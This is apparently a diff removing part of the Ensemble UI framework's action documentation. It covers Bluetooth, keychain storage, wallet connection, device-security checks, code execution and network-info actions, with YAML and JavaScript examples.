-```yaml -Button: - label: Device scan - onTap: - bluetoothStartScan: - onDataStream: | - ensemble.storage.devices = event.data -``` - -`bluetoothConnect` : Establishes a connection to the Bluetooth Device and listen to connection stream -```yaml -Button: - label: Connect - onTap: - bluetoothConnect: - deviceId: ${device.deviceId} - timeout: 60 - onConnectionStream: | - status.text = event.data.status; - onDataStream: | - ensemble.storage.services = event.data; -``` - -`bluetoothDisconnect`: Disconnect connection to Bluetooth Device. -```yaml -Button: - label: Disconnect - onTap: - bluetoothDisconnect: - deviceId: ${device.deviceId} -``` - -`bluetoothSubscribeCharacteristic`: Listen and Retrieves the value of the characteristic. -```yaml -Button: - label: Subscribe - onTap: - bluetoothSubscribeCharacteristic: - id: ${characteristic.id} - onDataStream: | - data.text = event.data -``` -`bluetoothUnsubscribeCharacteristic`: Stop listening to a given characteristics -```yaml -Button: - label: UnSubscribe - onTap: - bluetoothUnsubscribeCharacteristic: - id: ${characteristic.id} -``` - ---- - -# callExternalMethod - -*Note this is relevant for developers who are integrating Ensemble with their flutter apps* - -Utilize the `callExternalMethod` action to call a method in your Flutter app. Ensemble allows you to pass Flutter methods into the framework at the time you instantiate `EnsembleApp`. - -## Example of registering openApp method that's implemented in Flutter - -See how to [embed](https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart) Ensemble platform in your [existing flutter app](https://github.com/EnsembleUI/ensemble/tree/main/starter) - -```dart - //assuming you have a flutter method called openApp - Map methods = { - //appId, screenId and props will be provided by the EDL code when invoking the callExternalMethod action - 'openApp': ({appId, screenId, props}) => openApp(appId!, screenId, props) - }; - -//following code is from https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart -void main() async { - WidgetsFlutterBinding.ensureInitialized(); - initErrorHandler(); - await EnsembleModules().init(); - runApp(EnsembleApp( - externalMethods: methods //this is how you can specify one or more Flutter methods that could be invoked from within EDL - )); -} -``` -Here's how to invoke the `openApp` method we registered earlier. - -```yaml -View: - Column: - children: - - Button: - label: Open App - onTap: - callExternalMethod: - name: openApp - payload: - appId: appId - screenId: screenId -``` -Alternatively you can call it in code as follows - - -```js - ensemble.callExternalMethod({ - name: "openApp", - payload: { - appId: appId, - screenId: screenId - }, - }); -``` - ---- - -# checkPermission - -`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. - -**Callbacks** -1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." - -2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." - -3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." - -```yaml -- Button: - label: Notification Permission - onTap: - checkPermission: - type: notification - onAuthorized: | - //@code - notificationStatus.text = "Authorized"; - console.log("onAuthorized called"); - onDenied: | - //@code - notificationStatus.text = "Denied" - console.log("onDenied called"); - onNotDetermined: | - //@code - notificationStatus.text = "Not Determined" - console.log("onNotDetermined called"); -``` -When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. - ---- - -# readKeychain - -The `readKeychain` action retrieves previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing access to sensitive information that was stored with the highest level of OS security protection. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | -| key | string | The key to retrieve the value from | -| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Read from Keychain - onTap: - readKeychain: - key: apiKey - onComplete: - executeCode: - body: | - //@code - console.log("Retrieved API key: " + event.data); - apiKeyInput.value = event.data; - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -It is only available in YAML, as this calls a async function whose return type is Future and we use callbacks to handle the result. Our JS is sync and we cannot use async/await in JS. - -## Notes - -- This action reads from the device's secure keychain or equivalent OS security storage. -- Unlike the `getSecureStorage` action, this operation is asynchronous and must use callbacks even in JavaScript. -- The retrieved data is converted back to its original data type (string, number, boolean, or object). -- If no data exists for the given key, the onError callback will be triggered. -- Data stored using [saveKeychain](#savekeychain) can be retrieved with this action. -- The value is available in the `onComplete` action under `event.data`. -- This action provides access to data with OS-level security protection. - ---- - -# saveKeychain - -The `saveKeychain` action stores sensitive information in the device's secure keychain (iOS) or equivalent secure storage (Android), providing a high level of OS-level protection for critical data like authentication credentials, tokens, and other sensitive user information. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to store the value under | -| value | any | The value to store in the keychain | -| onComplete | action | Execute an Action when the data has been successfully stored | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Save to Keychain - onTap: - saveKeychain: - key: apiKey - value: 3f8d9a72e5c6b1f0 - onComplete: - showToast: - message: API key saved to keychain - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Store a simple string value -ensemble.saveKeychain({ - key: "apiKey", - value: "3f8d9a72e5c6b1f0", -}); - -// Store a complex object -ensemble.saveKeychain({ - key: "accountDetails", - value: { - accountId: "ACC123456", - accessLevel: "premium", - lastAccess: "2023-05-19T14:30:00Z", - }, -}); -``` - -## Notes - -- The keychain provides OS-level security for storing sensitive data. -- On iOS, this uses the Keychain Services API. -- On Android, this uses the Android Keystore System or equivalent secure storage. -- Values stored in the keychain persist even when the app is uninstalled on iOS (not on Android). -- To retrieve the value later, use the [readKeychain](#readkeychain) action. -- To remove the value, use the [clearKeychain](#clearkeychain) action. -- For less sensitive data that doesn't need OS-level security, consider using [setSecureStorage](#setsecurestorage) instead. - ---- - -# clearKeychain - -The `clearKeychain` action removes previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing you to clean up sensitive information with the highest level of security when it's no longer needed. - -## Properties - -| Property | Type | Description | -| :--------- | :----- | :---------------------------------------------------------------------------------------- | -| key | string | The key to remove from the keychain | -| onComplete | action | Execute an Action when the data has been successfully removed | -| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | - -## Example - -```yaml -Button: - label: Clear Keychain Data - onTap: - clearKeychain: - key: apiKey - onComplete: - showToast: - message: API key removed from keychain - options: - type: success - onError: - showToast: - message: ${event.error} - options: - type: error -``` - -## JavaScript Usage - -You can also use this action in JavaScript: - -```javascript -// Clear a stored keychain value -ensemble.clearKeychain({ - key: "apiKey", - onComplete: () => { - console.log("API key removed from keychain"); - }, - onError: (error) => { - console.error("Failed to clear from keychain: " + error); - }, -}); -``` - -## Notes - -- This action removes data from the device's secure keychain or equivalent OS security storage. -- This operation completely removes the specified key and its associated value from the keychain. -- If the key doesn't exist, the action may trigger an error depending on the platform. -- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). -- For security best practices, always clear sensitive data when it's no longer required. -- This action works with data stored using [saveKeychain](#savekeychain). -- Unlike `clearSecureStorage`, this operates at the OS-level security layer. - ---- - -# closeAllDialogs - -closeAllDialogs action dismisses or closes all open modal dialogs within the app, allowing developers to easily manage and reset the dialog stack, ensuring a clutter-free and user-friendly interface for a seamless app experience. - -**Example** - -```yaml -MyStartingDialog: - body: - Column: - styles: - gap: 10 - children: - - Text: - text: Welcome to Ensemble - styles: - fontSize: 16 - fontWeight: bold - - Text: - text: This dialog pops up when the user first visits the page. - - Button: - label: Close dialog - onTap: closeAllDialogs -``` - -The complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) demonstrates its usage along with showDialog - ---- - -# connectWallet - -connectWallet action enables users to establish a connection between their digital wallet and the app, facilitating seamless integration with blockchain-based functionalities, token transfers, and decentralized applications, enhancing user interactions with cryptocurrency-related features. - -### Properties - -| Property | Type | Description | -| :---------- | :----- | :---------------------------------------------------------------- | -| id | string | ID allows you to bind to its result. e.g. ${wallet.addresses...}, | -| wcProjectId | string | Wallet connect project Id, get it from wallet connect dashboard | -| onComplete | action | Execute another Action upon successful upload of files | -| onError | action | Execute an Action when uploader fails with error(s) | -| appMetaData | object | [see properties](#propertiesappMetaData) | - -#### properties.appMetaData - -| Property | Type | Description | -| :---------- | :----- | :----------------------------------------------------------- | -| name | string | Your app name, that will be shared to crypto wallet | -| description | string | Your app's description, that will be shared to crypto wallet | -| url | string | You app's / company's url | -| iconUrl | string | Url path of your app's icon | - -**Example** - - - -```yaml -View: - title: Crypto wallet - body: - Column: - styles: { padding: 16 } - children: - - Markdown: - text: | - ### Build Dapps - - - Connect to any crypto wallet that support wallect connect v1, check supporting wallet. [Wallet Connect Explorer](https://walletconnect.com/explorer?version=1) - - - Get wallet connect project id from wallet connect [dashboard](https://cloud.walletconnect.com/sign-in) - - Set application descriptions like name, description. - - We can connected wallet addresses using `walletRef.addresses`. - - Spacer: - styles: { size: 12 } - - - Divider: - - - Spacer: - styles: { size: 12 } - - - Markdown: - text: | - - # Example - - - Spacer: - styles: { size: 12 } - - - Button: - label: Connect to wallet - onTap: - connectWallet: - id: wallet - wcProjectId: 77740b7e86cfcba224464923b8e115e3 - appMetaData: - name: Ensemeble app - description: Ensemble forever - url: https://ensembleui.com/ - iconUrl: https://ensembleui.com/assets/images/logo.svg - onComplete: | - //@code - - address.text = wallet.addresses; - - - Spacer: - styles: { size: 12 } - - - Markdown: - id: address -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/MnW9B85MmtqPXLEdZETu?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# copyToClipboard - -copyToClipboard action allows users to copy text or content to their device's clipboard with a simple interaction, facilitating easy sharing and transfer of information within the app, enhancing productivity and user convenience. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| value | string | The text to copy to clipboard | -| onSuccess | action | Execute another Action upon successful copy to clipboard | -| onFailure | action | Execute an Action when copy to clipboard fails | - -**Example** - -```yaml -View: - header: - title: "Action: copyToClipboard" - styles: - scrollableView: true - - body: - Column: - styles: - gap: 16 - padding: 24 - - children: - - Markdown: - text: | - Use the `copyToClipboard` action to copy a value to the clipbaord. - - - TextInput: - label: Value to copy - id: textInput - value: Hello there - - Button: - label: Copy to clipboard - onTap: - copyToClipboard: - value: ${textInput.value} - onSuccess: - showToast: - message: ${textInput.value} + "copied!" - options: - dismissable: true - type: success - duration: 3 - onFailure: - showToast: - message: ${textInput.value} + "copied!" - options: - dismissable: true - type: error - duration: 3 -``` - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/oQGrStPwLqERIc7kzHFn?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# Device Security - -The `deviceSecurity` action checks if the device is rooted, debugged, or running on an emulator. It executes corresponding actions based on the results of these checks, enhancing security awareness and control within your application - -## Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------- | -| onSuccess | action | Action to be executed on successful security check with data on device status | -| onError | action | Action to be executed on error during the security check | - -### Event Data - -When the `onSuccess` action is executed, the following data is available under `event.data`: - -- **debugged**: Indicates if the device is in debug mode. -- **rooted**: Indicates if the device is rooted. -- **emulator**: Indicates if the device is an emulator. - -When the `onError` action is executed, the following data is available under `event.error`: - -- **error**: Error message describing the issue. - -**Example** - -```yaml -View: - header: - titleText: "Device Security Example" - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Check Device Security - onTap: - deviceSecurity: - onSuccess: - executeConditionalAction: - conditions: - - if: ${event.data.debugged} - action: - showDialog: - body: - Text: - text: "The device is in debug mode." - - elseif: ${event.data.rooted} - action: - showDialog: - body: - Text: - text: "The device is rooted." - - elseif: ${event.data.emulator} - action: - showDialog: - body: - Text: - text: "The device is an emulator." - - else: - action: - showDialog: - body: - Text: - text: "The device is secure." - onError: - showDialog: - body: - Text: - text: ${event.error} -``` - -**Kitchen Sink** - -You can find a complete example of using the deviceSecurity action in the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RLWeYjfVwopcTqhWo6mX). This example demonstrates how to integrate the action within a screen, handle the success and error cases, and display relevant information to the user based on the device's security status. - -### Platform Based Configurations - -- **Android**: No additional configurations are required. -- **iOS**: Add following lines to the `Info.plist` file in /ios/Runner/ folder: - -```xml -LSApplicationQueriesSchemes - - undecimus - sileo - zbra - filza - activator - -``` - ---- -**NOTE** - -This action only works for native applications (Android and iOS), on web it will always return false. - ---- - ---- - -# Actions - -When an event is triggered (e.g. button is tapped), you can perform actions such as navigate to a screen, call an API, or even run JavaScript code. - -### Backend API interaction - -| Property | Description | -| :------------------------- | :---------------------------------------------------------------------------------------------------------- | -| [invokeAPI](invoke-API.md) | invokeAPI is used for calling an API. You can call an API on events such as a button tap or on screen load. | - -### Navigation & UI transitions - -| Property | Description | -| :---------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| [navigateScreen](navigate-screen.md) | navigateScreen action facilitates smooth navigation to a specific screen or page within the app's interface. | -| [navigateModalScreen](navigate-modal-screen.md) | navigateModalScreen action opens a specific screen or page as a modal overlay, focusing on the temporary view without losing the main app context. | -| [navigateViewGroup](navigate-view-group.md) | navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. | -| [navigateBack](navigate-back.md) | navigateBack action allows users to go back to the previous screen or page within the app's navigation stack. | -| [onViewGroupResume](onViewGroupResume.md) | onViewGroupResume action facilitates ensembleAction execution when navigating back to ViewGroup from different screen. | -| [onViewGroupUpdate](onViewGroupUpdate.md) | onViewGroupUpdate action facilitates ensembleAction execution when update in ViewGroup occurs such as swithcing screen. | -| [showDialog](show-dialog.md) | showDialog action triggers the display of a modal dialog box within the app, presenting important information or notifications. | -| [closeAllDialogs](close-all-dialogs.md) | closeAllDialogs action dismisses or closes all open modal dialogs within the app, ensuring a clutter-free interface. | -| [showToast](show-toast.md) | showToast action displays a temporary notification or message on the app interface, providing concise and contextual updates to users. | -| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | - -### Device capabilities - -| Property | Description | -| :---------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| [openCamera](open-camera.md) | openCamera action allows users to access their device's camera within the app for capturing images and videos. | -| [getLocation](get-location.md) | getLocation action retrieves the device's current location, enabling location-based functionalities within the app. | -| [requestNotificationAccess](request-notification-access.md) | requestNotificationAccess action prompts users to grant permission for the app to send notifications to their device. | -| [showNotification](show-notification.md) | showNotification action displays local notifications within the app, notifying users of important events or information. | -| [notification](notification.md) | notification action manages and handles notifications within the app, enabling effective communication with users and delivering timely updates and alerts. | -| [pickFiles](pick-files.md) | pickFiles action enables users to select files from their device for further processing or usage within the app. | -| [uploadFiles](upload-files.md) | uploadFiles action allows users to select and upload files from their device to the app, facilitating data transfer and sharing. | -| [getNetworkInfo](get-network-info.md) | enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location | -| [saveFile](save-file.md) | The saveFile action saves media files (e.g., images) to the default media storage and documents to the default documents directory on Android and IOS. On the web, it downloads the file to the browser's default download folder. | - -### Secure Storage - -| Property | Description | -| :-------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| [setSecureStorage](set-secure-storage.md) | setSecureStorage action securely stores sensitive information in an encrypted format on the device, ensuring that sensitive data remains protected. | -| [getSecureStorage](get-secure-storage.md) | getSecureStorage action retrieves previously stored encrypted data from the device's secure storage, decrypting it for use within your application. | -| [clearSecureStorage](clear-secure-storage.md) | clearSecureStorage action removes previously stored encrypted data from the device's secure storage, allowing you to clean up sensitive information. | -| [saveKeychain](save-keychain.md) | saveKeychain action stores sensitive information in the device's secure keychain (iOS) and keyStore (Android). | -| [readKeychain](read-keychain.md) | readKeychain action retrieves previously stored data from the device's secure keychain (iOS) and keyStore (Android). | -| [clearKeychain](clear-keychain.md) | clearKeychain action removes previously stored data from the device's secure keychain (iOS) and keyStore (Android). | - -### Other interactions - -| Property | Description | -| :-------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------- | -| [executeCode](execute-code.md) | executeCode action executes custom code logic within the app, enabling dynamic functionality and personalized interactions. | -| [openUrl](open-url.md) | openUrl action opens external URLs or web links within the app, facilitating seamless integration with external content. | -| [startTimer](start-timer.md) | startTimer action initiates a timer within the app, facilitating time-sensitive processes and triggering events after a specified duration. | -| [openUrl](open-url.md) | openUrl action allows users to open external URLs or web links within the app, enhancing content integration. | -| [stopTimer](stop-timer.md) | stopTimer action halts or pauses a running timer within the app, providing control over time-sensitive processes. | -| [copyToClipboard](copy-to-clipboard.md) | copyToClipboard action copies text or content to the device's clipboard, facilitating easy sharing and transfer of information within the app. | - -### 3-rd party services - -| Property | Description | -| :---------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------- | -| [connectWallet](connect-wallet.md) | connectWallet action establishes a connection between the app and the user's digital wallet, enabling blockchain-based interactions and transactions. | -| [openPlaidLink](open-plaid-link.md) | Open the Plaid Link Service so user can link their financial accounts to your service. | - -### Audio Player - -| Property | Description | -| :----------------------------- | :------------------------------------------------------------------------------- | -| [playAudio](play-audio.md) | The playAudio action allows users to play a given audio file from a URL or asset | -| [pauseAudio](pause-audio.md) | The pauseAudio action allows users to pause an already-playing audio file | -| [resumeAudio](resume-audio.md) | The resumeAudio action allows users to resume a previously paused audio | -| [stopAudio](stop-audio.md) | The stopAudio action allows users to stop a already playing audio file | -| [seekAudio](seek-audio.md) | The seekAudio action allows users to pause a already-playing audio file | - ---- - -# dispatchEvent action -Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events - -`dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. - -For example -- a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. -- in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event - -## Example: -`DispatchEventSample` is Custom Widget that dispatches `onFormSubmit` event -```yaml - Widget: - inputs: - - nameLabel - - emailLabel - - submitBtnLabel - events: - onFormSubmit: - data: - name: - email: - body: - Form: - onSubmit: - dispatchEvent: - onFormSubmit: - data: - name: ${name.value} - email: ${email.value} - children: - - Text: - text: Sample Form that dispatches onFormSubmit whenever the Submit button is pressed - - TextInput: - label: ${nameLabel} - required: true - id: name - validateOnUserInteraction: true - - TextInput: - label: ${emailLabel} - id: email - required: true - inputType: email - validateOnUserInteraction: true - - Button: - label: ${submitBtnLabel} - submitForm: true -``` -The screen that uses the widget `listens` to the `onFormSubmit` event and simply prints out the data -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: 'Action: dispatchEvent' - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Markdown: - text: | - Custom widgets in Ensemble, just like widgets in any UI framework, can dispatch events - - `dispatchEvent` action is used in custom widgets to let the caller of the widget know when something interesting has happened. - - For example - - a calendar widget may dispatch an event named 'onDataRangeSelected' to notify the caller that the user selected a range of dates. - - in this example, we have a custom widget named `DispatchEventSample` that is a simple Form widget with two fields and a Submit button. When you tap the Submit button, `DispatchEventSample` dispatches an event namd `onFormSubmit`. A Text widget below the form just prints out the data received in the event - - Divider: - - - DispatchEventSample: - inputs: - nameLabel: Full Name - emailLabel: Email Address - submitBtnLabel: Submit - events: - onFormSubmit: - executeCode: - body: |- - eventData.text = 'Received Data from onFormSubmit: '+event.data.name + ' ' + event.data.email - - Divider: - - - Text: - id: eventData -``` -See Kitchen Sink for the detailed example[(here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/RajOE62KtSkOHYHJQVJF) - ---- - -# executeActionGroup -Executing a group of Actions, either in parallel (default) or sequentially with each waiting for the other to complete before executing. - -## Usage -- The most common use case for this is calling APIs in parallel using the `invokeAPI` action. Since APIs are asynchronous, multiple APIs will be triggered one after the other in parallel. The parallism is governed by the underlying operating system. -- Use `executeInOrder: true` when certain actions depend on the previous action to complete before executing. An example is closing the current dialog before opening up the new one. Dialog lifecycles are asynchronous, so calling close followed immediately by open will not work as expected. Using `executeInOrder: true` will ensure that the close action completes before the open action is executed. - -## Caveats -- Note that while `executeCode` action can execute asynchronous code, it will not wait and will immediately return. This means that even if it is used inside `executeActionGroup` with `executeInOrder: true`, the next action will be executed immediately after the `executeCode` action is called. - -| Property | Type | Description | -|:---------------|:---------|:-------------------------------------------------------------------------------------| -| executeInOrder | boolean | If true, the actions will be executed in order, one after the other. (default false) | -| actions | Action[] | The list of Actions to be executed | - - -See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/VJQun4rJ91mATTBopsNy#) - -## Example -```yaml - - Button: - label: Round - onTap: - executeActionGroup: - actions: - - invokeAPI: - name: callDelayedAPI - inputs: - num: 1 - - showToast: - message: second action - 2 - options: - duration: 4 - - executeCode: - body: |- - console.log('executed code - 2'); - - invokeAPI: - name: callDelayedAPI - inputs: - num: 3 - onResponse: |- - console.log('inline onResponse - 3'); - - invokeAPI: - name: callDelayedAPI - inputs: - num: 4 - - showToast: - message: number 5 - options: - duration: 3 - - executeCode: - body: |- - console.log('executed code - 5'); -``` - ---- - -# executeCode - -Utilize the `executeCode` action to compose custom JavaScript code within the context of this application. When the execution of the code concludes, you can incorporate a follow-up action by leveraging the `onComplete` property. - -Keep in mind that you need to use **//@code** so Ensemble knows to treat the lines that follow as JavaScript. - -```yaml -View: - Column: - children: - - Button: - label: Execute Code - onTap: - executeCode: - body: | - //@code - codeExecuted.text = 'Code block under body is executed'; - onComplete: | - //@code - onCompleteCodeExecuted.text = 'Code block under onComplete is executed'; - - - Text: - id: codeExecuted - - - Text: - id: onCompleteCodeExecuted -``` - -For examples of the `executeCode` action, see the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6f88beb2-efe0-4278-82f3-134d110a8551) app. - -## Properties for executeCode - -| Property | Type | Description | -| :------- | :--- | :---------- | -| body | String | Block of code writen in JavaScript. This block executes when the executeCode action is called. | -| onComplete | String | Block of code writen in JavaScript. This block executes after thh executeCode action is called, and the body code block is executed. | - ---- - -# executeConditionalAction -`executeConditionalAction` is an Action and can be used like any other action. that allows actions to be executed based on if/elseif/else conditions - -- `if` condition is required and should be the first condition -- `elseif` is optional and there can be any number of elseif conditions -- `else` is optional and there can only be one else condition - -See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HoLgqsVN4zS20TxTHe4M#) - -## Example -```yaml - - Button: - label: Tap to compare the price with 10 - onTap: - executeConditionalAction: - conditions: - - if: ${parseInt(price.value) < 10} - action: - showToast: - message: Price is less than $10 - options: - duration: 5 - - elseif: "${parseInt(price.value) > 10}" - action: - showToast: - message: Price is greater than $10 - options: - duration: 5 - - else: - action: - showToast: - message: Price is $10 - options: - duration: 5 -``` - ---- - -# getLocation - -getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location - -### Module (ensemble_location) -Enable Location service in Ensemble code - -By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_location/location_manager.dart'; -``` - -* Search for this line and uncomment it: -``` - // GetIt.I.registerSingleton(LocationManagerImpl()); -``` - -* Search for this line and set it to true -``` - static const useLocation = false; -``` - ---- - -### Properties - -| Property | Type | Description | -| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | -| options | object | [see properties](#propertiesoptions) | -| onLocationReceived | action | Callback Action once we get the device location | -| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | - -#### properties.options - -| Property | Type | Description | -| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | -| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: getLocation" - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Get location via Action - styles: - font: subtitle - - Markdown: - text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. - - Button: - label: Listen for location changes - onTap: - getLocation: - options: - recurring: true # while on this page, location changes will continue to execute onLocationReceived - recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location - onLocationReceived: |- - //@code - status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; - onError: |- - //@code - status.text = reason; - - Text: - id: status -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# getNetworkInfo - -**Works on native iOS and Android apps only. In the browser, `onError` (if specified) will be called with error `Network info is not supported on the web`.** - -Action to retrieve the following network information - - -- wifiName -- wifiBSSID -- wifiIPv4 -- wifiIPv6 -- wifiGatewayIP -- wifiBroadcast -- wifiSubmask - -If successful, the network information will be available as event.data.networkInfo object with the property names as shows above, for example event.data.networkInfo.wifiName. - -In case of error, the error message will be available as event.error. - -For all other cases, check the `event.data.status` property for details - -## Properties for getNetworkInfo - -| Property | Type | Description | -| :------- | :--- | :---------- | -| onSuccess | action | (Required) call an Action when the network info has been retrieved successfully. Network info will be available under event.data.networkInfo object with properties wifiName, wifiBSSID, wifiIPv4, wifiIPv6, wifiGatewayIP, wifiBroadcast, wifiSubmask | -| onError | action | (Optional) call an Action when unable to retrieve networkInfo. This could be because the location or wifiinfo is not enabled in the app or the module has not been included. Error is available as `event.error` property | -| onDenied | action | (Optional) call an Action when the user has denied access to the location. Location access is required to get the wifi data. The status could either be `denied` or `deniedForever`. `deniedForver` means that the user has denied the location access and has selected the option to never ask again. | -| onLocationDisabled | action | (Optional) call an Action when the location is disabled. This could be because the location is disabled in the device settings. | - -## How to enable the `getNetworkInfo` action for your app - -**When using the build system in the [Ensemble Studio](https://studio.ensembleui.com) the following configurations are automatically added for you and your app is automatically built and made available on the appstore and google play for you to then test or submit for approval.** - -1. First enable the `ensemble_network_info` module as follows - -- open starter/pubspec.yaml and search for `Uncomment to enable NetworkInfo` and uncomment the `ensemble_network_info` module reference - -```yaml - ensemble_network_info: - git: - url: https://github.com/EnsembleUI/ensemble.git - ref: main - path: modules/ensemble_network_info -``` -Run `pub get` to get the latest - -- open `starter/lib/generated/ensemble_modules.dart` and ... -. uncomment import 'package:ensemble_network_info/network_info.dart'; -. set `useNetworkInfo = true;` -. uncomment `GetIt.I.registerSingleton(NetworkInfoImpl());` - -2. Configure permissions for iOS and/or Android as follows - -### Browser -Note that `getNetworkInfo` action is available only on iOS and Android. On the web, `onError` (if specified) will be called with error `Network info is not supported on the web`. - -### iOS -**Location** -Location and `Precise Location` is required to get the `wifiName` and `wifiBSSID`. Other properties can be retrieved without location permission. When location is not enabled. `wifiName` and `wifiBSSID` will return null. - -Open the `starter/ios/Runner` directory. There you will find the following two files that we need to modify - `info.plist` and `Runner.entitlements` - -`info.plist`: add the following. - -Add either `NSLocationWhenInUseUsageDescription` or `NSLocationAlwaysUsageDescription` depending on what your apps needs. -Make sure to adjust the message to meet your requirements. `PreciseLocation` is a must to get the wifiName and wifiBSSID. - -```xml - NSLocationWhenInUseUsageDescription - We need your location to provide better services. - NSLocationAlwaysUsageDescription - We need your location to provide continuous tracking even when the app is in the background. - NSLocationUsageDescription - using location - NSLocationTemporaryUsageDescriptionDictionary - - PreciseLocation - We need your precise location to provide location-based services and ensure accurate tracking. - -``` - -`Runner.entitlements`: add the following - -```xml - com.apple.security.personal-information.location - - com.apple.developer.networking.wifi-info - -``` -You can do the above changes by using the XCode graphical interface as well. Make sure to do a clean build after making the above changes. - -### Android -Android just needs the `Fine Location` permission as follows. - -Under `starter/android/app/src/main` - -`AndroidManifest.xml` - -```xml - -``` - -## Example - -```yaml -View: - styles: - useSafeArea: true - scrollableView: true - - # Optional - set the header for the screen - header: - titleText: Home - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - TextInput: - id: wifiName - label: wifiName - - TextInput: - id: wifiBSSID - label: wifiBSSID - - TextInput: - id: wifiIPv4 - label: wifiIPv4 - - TextInput: - id: wifiIPv6 - label: wifiIPv6 - - TextInput: - id: wifiGatewayIP - label: wifiGatewayIP - - TextInput: - id: wifiBroadcast - label: wifiBroadcast - - TextInput: - id: wifiSubmask - label: wifiSubmask - - TextInput: - id: status - label: status - multiline: true - maxLines: 10 - minLines: 4 - - Button: - label: get wifi info - onTap: - getNetworkInfo: - onSuccess: - executeCode: - body: | - status.value = event.data.status; - wifiName.value = event.data.networkInfo.wifiName; - wifiBSSID.value = event.data.networkInfo.wifiBSSID; 